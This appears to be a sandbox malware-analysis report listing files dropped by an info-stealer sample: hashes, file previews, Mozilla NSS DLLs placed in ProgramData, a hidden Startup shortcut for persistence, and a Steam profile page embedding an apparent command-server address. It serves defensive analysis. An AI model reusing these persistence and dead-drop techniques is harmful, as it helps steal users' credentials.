SHA-256:	979D61BE07FBF4AE094E8EF84B6ED5DF80E81EF0D641A007B92775C8313BB7E2
SHA-512:	4FFB6C64427FC5258503CF0EC23B41B6F8C66BD85D104F91F2885FAB2018280D2A2C402CBA0DAFB3588F371D5695AC3092B9D56F4B97D65C9C4B0F5447E628C2
Malicious:	false
Preview:	MDMP..a..... .......r[.f........................x...........$...........t ...9..........`.......8...........T............%.............4........... ...............................................................................eJ..............GenuineIntel............T...........o[.f............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD0CF.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8374
Entropy (8bit):	3.694682691189536
Encrypted:	false
SSDEEP:	192:R6l7wVeJSx6k6YEIfSUC6vgmfZV9pr089bQ6sfzQm:R6lXJ06k6YEgSUC6vgmfLxQZfx
MD5:	581EC80D0157CB31452AE758E92AC2A4
SHA1:	8D2DC0FAB4003642255782EF7D19BA09A590F3DE
SHA-256:	D192DD52CCEFE9D368E0671C8D372743C292C5AFFB5D17C8F8E65D6B0BFB0019
SHA-512:	4F86CAC824061C4606DC94CAECF017680F4103C0DE1077D43E696AD729D42D983ED6A10E0FF8AD97235DD2B8A7DEBB1F35806C228B51876EA6CCD0D4601814CE
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.8.0.<./.P.i.d.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD11E.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4726
Entropy (8bit):	4.467713384108317
Encrypted:	false
SSDEEP:	96:uIjf7I7SW7VohJ9J1bKn11nTJIjzKKzbd:uIPYSW7K9J1i11n9gzKKzJ
MD5:	03EC016F86FA290EA01996D1A5AC4113
SHA1:	3734A82645C93801C9A2A28C14298B63D84F65B9
SHA-256:	115309EED007734D24728D3F69A92BBA10F46EF8F587BD099A9CB12DF2767604
SHA-512:	0B0C480871ACCCBA291E0C74016AADFF9D3E934448149F925E204C94DF2769FDEE8A495280854F67ABC42F1326999B71A683A654ADC16DD689FA3F6E31F101DE
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="516113" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	573177
Entropy (8bit):	6.678697839102691
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN:4gPbPp9NNP0BgInfW2WN
MD5:	B682957F17AD73E31F36F8013EEE9C39
SHA1:	B20AE39FDB4F14F1B31E4953EF39494013A2AB10
SHA-256:	ECCA291607DEBA2C67FD47DB5B367B530EC5F61C2861E9F1A9DBF3631F4D6111
SHA-512:	A88F4EF656B50C786330D28DE0E76E1D98DB4BDB91CCDA7754308FBACC454282AA9AB8C4759B80C1D6FAC32F8E4F3856112C2D97CA20017818F7259D017FA4DA
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\EBGDHJECFC.exe.log

Download File

Process:	C:\ProgramData\EBGDHJECFC.exe
File Type:	CSV text
Category:	modified
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\KKEBKJJDGH.exe.log

Download File

Process:	C:\ProgramData\KKEBKJJDGH.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	CSV text
Category:	modified
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\66f4247d51812_lfdsjna[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	377384
Entropy (8bit):	7.988522009011023
Encrypted:	false
SSDEEP:	6144:uXfqISDaHCXsYQkiJ0j0Zt/d/WCIRibFrzae5LpVGbM/5Pg+rq8ZrPbXbCEO:uCvXsWtI/dVHbdastVG2ycWEO
MD5:	0CEE1D66332DEC523210F62E479284B9
SHA1:	33F950916E13A6EC654C52160EE47E88C64A5724
SHA-256:	0A6A258BFDB9B1947F2945B44E274FF3F06A7C5C733FF83C2A71C5F911FA9CC0
SHA-512:	603AA4834C6D3A9F3B6B1629EEB2108CECFD7192110F0CF948F2971957A9231AD9D405D8424E3A41B32A8FF415D8F84E55AFDEC38BF996703093084162D11972
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v#.f................................ ........@.. ....................................`.....................................W.......................(&..........\................................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H.......................................................................M......\=.......S...!.}.S.t...&.P.i@..2...^.-...4.N.....^IG.X.C:,..<J......I{y]cf4s....O.....)..;.xoz......di.0a4Y.Z...yR....7U....8f....d.L..e.q.71.CW.BmK....L.$f.'.......O6..,-B.h(.....l.......}.H..7.$.....$.q.....y....b...@.g.@.B[..1.+....s.......I.rZo.d....d.]X.........6.......f..H..=#......5.X.e.!U]..}...#.....O..vo ..ZSI......G>.2.!....J...".^..l.../zm.w=\("........\|^V..[.L.\|.....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\66f424e80b9cc_idsmds[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	26112
Entropy (8bit):	5.587298385417451
Encrypted:	false
SSDEEP:	768:0Z7bBiDrq+NhJvjhTxhi8DD08T10DnS1RW:0ZErqqTxhZDA8TKS1RW
MD5:	168087C84C5FF3664E5E2F4EEC18D7DD
SHA1:	639E9E87103F576617ED08C50910CA92FE5C8C5B
SHA-256:	2A7CDB79045658B9C02EBBB159E5B3680D7D6D832DBD757572F7D202C3FA935D
SHA-512:	89491261E1234F917964566DEF4B1A50505BA4C2EB90D14C19E2130D78FE65CD61C4BBA685909109C7088B35E7FD48F6311ACE7A0DD8C703A6D1B1D23D1A54BB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....p............"...0..\...........{... ........@.. ....................................`.................................h{..S.................................................................................... ............... ..H............text....[... ...\.................. ..`.rsrc................^..............@..@.reloc...............d..............@..B.................{......H.......tC...7............................................................((....s..........(3...2.{....(....2.{....(....6.\|.....(4...6.\|.....(4...6.\|.....(4...R.sE...%oF....`oG...F.(H...(I...(...+..oM...%:....&.(N....{.....oO...Z.{ ...r...p(....(Z...2.{"...(=...6.\|$....(4...6.\|(....(4...6.\|,....(4...6.\|4....(4...6.\|7....(4....(g...(...+.r...p(.....:...r/..p(.....;...sl....<...6.\|@....(4...6.\|G....(4...6.\|Q....(....6.\|T....(....6.\|X....(4...6.\|]....(4

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\76561199780418869[1].htm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (3070), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	34725
Entropy (8bit):	5.398635440270459
Encrypted:	false
SSDEEP:	768:udpqme0Ih3tAA6WG+2fcDAhTBv++nIjBtPF5zfJkPVoEAdLTBv++nIjBtPF5x2SE:ud8me0Ih3tAA6WG+2FhTBv++nIjBtPFx
MD5:	25756DF89EEC2FA1ED6CA7F74873C20C
SHA1:	EF3C68DA6D6B19814BC143333DB273FDE58AFD23
SHA-256:	6D56DF184DD7AE808C843AEB34D57C34E9CF26CB1D3B6E6EC4B2425FEF52B243
SHA-512:	A01DD0932FC7B1D4EC555ACA97C598786074357932AB7EC055EA59FD3DA71182BBF8B490DBB11FDEF92F87EA523B16173257DAB088252B29CFE27FADB3C919C8
Malicious:	false
Preview:	<!DOCTYPE html>..<html class=" responsive" lang="en">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.....<meta name="viewport" content="width=device-width,initial-scale=1">....<meta name="theme-color" content="#171a21">....<title>Steam Community :: u55u https://5.75.211.162\|</title>...<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">...........<link href="https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english" rel="stylesheet" type="text/css" >.<link href

C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	26112
Entropy (8bit):	5.587298385417451
Encrypted:	false
SSDEEP:	768:0Z7bBiDrq+NhJvjhTxhi8DD08T10DnS1RW:0ZErqqTxhZDA8TKS1RW
MD5:	168087C84C5FF3664E5E2F4EEC18D7DD
SHA1:	639E9E87103F576617ED08C50910CA92FE5C8C5B
SHA-256:	2A7CDB79045658B9C02EBBB159E5B3680D7D6D832DBD757572F7D202C3FA935D
SHA-512:	89491261E1234F917964566DEF4B1A50505BA4C2EB90D14C19E2130D78FE65CD61C4BBA685909109C7088B35E7FD48F6311ACE7A0DD8C703A6D1B1D23D1A54BB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....p............"...0..\...........{... ........@.. ....................................`.................................h{..S.................................................................................... ............... ..H............text....[... ...\.................. ..`.rsrc................^..............@..@.reloc...............d..............@..B.................{......H.......tC...7............................................................((....s..........(3...2.{....(....2.{....(....6.\|.....(4...6.\|.....(4...6.\|.....(4...R.sE...%oF....`oG...F.(H...(I...(...+..oM...%:....&.(N....{.....oO...Z.{ ...r...p(....(Z...2.{"...(=...6.\|$....(4...6.\|(....(4...6.\|,....(4...6.\|4....(4...6.\|7....(4....(g...(...+.r...p(.....:...r/..p(.....;...sl....<...6.\|@....(4...6.\|G....(4...6.\|Q....(....6.\|T....(....6.\|X....(4...6.\|]....(4

C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe

Download File

Process:	C:\ProgramData\KKEBKJJDGH.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	26112
Entropy (8bit):	5.587298385417451
Encrypted:	false
SSDEEP:	768:0Z7bBiDrq+NhJvjhTxhi8DD08T10DnS1RW:0ZErqqTxhZDA8TKS1RW
MD5:	168087C84C5FF3664E5E2F4EEC18D7DD
SHA1:	639E9E87103F576617ED08C50910CA92FE5C8C5B
SHA-256:	2A7CDB79045658B9C02EBBB159E5B3680D7D6D832DBD757572F7D202C3FA935D
SHA-512:	89491261E1234F917964566DEF4B1A50505BA4C2EB90D14C19E2130D78FE65CD61C4BBA685909109C7088B35E7FD48F6311ACE7A0DD8C703A6D1B1D23D1A54BB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....p............"...0..\...........{... ........@.. ....................................`.................................h{..S.................................................................................... ............... ..H............text....[... ...\.................. ..`.rsrc................^..............@..@.reloc...............d..............@..B.................{......H.......tC...7............................................................((....s..........(3...2.{....(....2.{....(....6.\|.....(4...6.\|.....(4...6.\|.....(4...R.sE...%oF....`oG...F.(H...(I...(...+..oM...%:....&.(N....{.....oO...Z.{ ...r...p(....(Z...2.{"...(=...6.\|$....(4...6.\|(....(4...6.\|,....(4...6.\|4....(4...6.\|7....(4....(g...(...+.r...p(.....:...r/..p(.....;...sl....<...6.\|@....(4...6.\|G....(4...6.\|Q....(....6.\|T....(....6.\|X....(4...6.\|]....(4

C:\Users\user\AppData\Local\Temp\delays.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1048575
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:fvv3:/
MD5:	6FD5E726D086DC29B56D6449B0CBEB7F
SHA1:	0E0B1F8292D2E96C2E9D843B95FCD545F15E2C22
SHA-256:	6FD0EF87E4CFE63EAFEE1DC4200C58D0AFD5141C15D472B11620AE626169EE49
SHA-512:	51D877FC08DF84DBB658920B82150BC884492BFC8A16D50E6A96E1FF3294E2B39CA099F01D02158F37F24E9E4755FAB37B3F09E215F7906B74FA418E048AEF50
Malicious:	false
Preview:	JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_000913a568ed4d738231f15b80803587.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:17 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.944332249018222
Encrypted:	false
SSDEEP:	24:8jYmhBfV8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8jYs60R6rMhpBoUBxdRd1nYyg
MD5:	5BEE6321BCB198E14508DF01F2D3C748
SHA1:	B9E075356C94C09749E9903A440185823A50F28C
SHA-256:	487B5DD53E6984166F36CE0A8DA0F0E58A26BBC56541A949E7142FC1B6F4F30C
